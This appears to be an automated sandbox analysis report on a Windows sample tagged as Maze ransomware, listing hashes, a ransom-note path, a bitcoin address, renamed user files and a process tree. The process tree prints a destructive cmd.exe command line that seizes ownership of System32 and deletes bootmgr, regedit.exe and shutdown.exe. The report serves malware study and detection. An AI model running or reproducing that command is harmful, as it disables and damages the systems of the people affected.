Analysis
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max time kernel
44s -
max time network
116s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
04-09-2021 02:53
Static task
static1
Behavioral task
behavioral1
Sample
VSSVC.exe
Resource
win7-en
General
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Target
VSSVC.exe
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Size
3.1MB
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MD5
e4f24d91d8e7290ffd6afc8aa01c6d63
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SHA1
b552c6af33cc5a62379028687924406cba8ff74d
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SHA256
5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb
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SHA512
ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00
Malware Config
Extracted
C:\Users\Admin\Desktop\DECRYPT-FILES.TXT
bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe
http://mail2tor2zyjdctd.onion/
Signatures
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Maze
Ransomware family also known as ChaCha.
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
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Disables Task Manager via registry modification
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Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
VSSVC.exedescription ioc Process File renamed C:\Users\Admin\Pictures\ApproveWait.crw => C:\Users\Admin\Pictures\ApproveWait.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\ImportSubmit.crw => C:\Users\Admin\Pictures\ImportSubmit.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\InstallSearch.png => C:\Users\Admin\Pictures\InstallSearch.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\LockHide.crw => C:\Users\Admin\Pictures\LockHide.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\SplitRead.raw => C:\Users\Admin\Pictures\SplitRead.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\UpdateRegister.png => C:\Users\Admin\Pictures\UpdateRegister.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe -
Possible privilege escalation attempt 5 IoCs
Processes:
icacls.exetakeown.exetakeown.exeicacls.exetakeown.exepid Process 3892 icacls.exe 840 takeown.exe 1504 takeown.exe 2124 icacls.exe 792 takeown.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
VSSVC.exedescription ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion VSSVC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion VSSVC.exe -
Modifies file permissions 1 TTPs 5 IoCs
Processes:
takeown.exeicacls.exetakeown.exeicacls.exetakeown.exepid Process 1504 takeown.exe 2124 icacls.exe 792 takeown.exe 3892 icacls.exe 840 takeown.exe -
Processes:
resource yara_rule behavioral2/memory/568-116-0x0000000000B10000-0x0000000000B11000-memory.dmp themida -
Processes:
VSSVC.exedescription ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA VSSVC.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
VSSVC.exepid Process 568 VSSVC.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
VSSVC.exetakeown.exetakeown.exetakeown.exedescription pid Process Token: SeDebugPrivilege 568 VSSVC.exe Token: SeDebugPrivilege 568 VSSVC.exe Token: SeTakeOwnershipPrivilege 1504 takeown.exe Token: SeTakeOwnershipPrivilege 792 takeown.exe Token: SeTakeOwnershipPrivilege 840 takeown.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
VSSVC.execmd.exedescription pid Process procid_target PID 568 wrote to memory of 1300 568 VSSVC.exe 79 PID 568 wrote to memory of 1300 568 VSSVC.exe 79 PID 568 wrote to memory of 1300 568 VSSVC.exe 79 PID 1300 wrote to memory of 1504 1300 cmd.exe 81 PID 1300 wrote to memory of 1504 1300 cmd.exe 81 PID 1300 wrote to memory of 1504 1300 cmd.exe 81 PID 1300 wrote to memory of 2124 1300 cmd.exe 82 PID 1300 wrote to memory of 2124 1300 cmd.exe 82 PID 1300 wrote to memory of 2124 1300 cmd.exe 82 PID 1300 wrote to memory of 792 1300 cmd.exe 83 PID 1300 wrote to memory of 792 1300 cmd.exe 83 PID 1300 wrote to memory of 792 1300 cmd.exe 83 PID 1300 wrote to memory of 3892 1300 cmd.exe 84 PID 1300 wrote to memory of 3892 1300 cmd.exe 84 PID 1300 wrote to memory of 3892 1300 cmd.exe 84 PID 1300 wrote to memory of 840 1300 cmd.exe 85 PID 1300 wrote to memory of 840 1300 cmd.exe 85 PID 1300 wrote to memory of 840 1300 cmd.exe 85
Processes
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C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"1⤵
- Modifies extensions of user files
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:568 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit2⤵
- Suspicious use of WriteProcessMemory
PID:1300 -
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System323⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1504
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32 /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2124
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\drivers3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:792
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\drivers /grant Admin:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3892
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\LogonUI.exe3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:840
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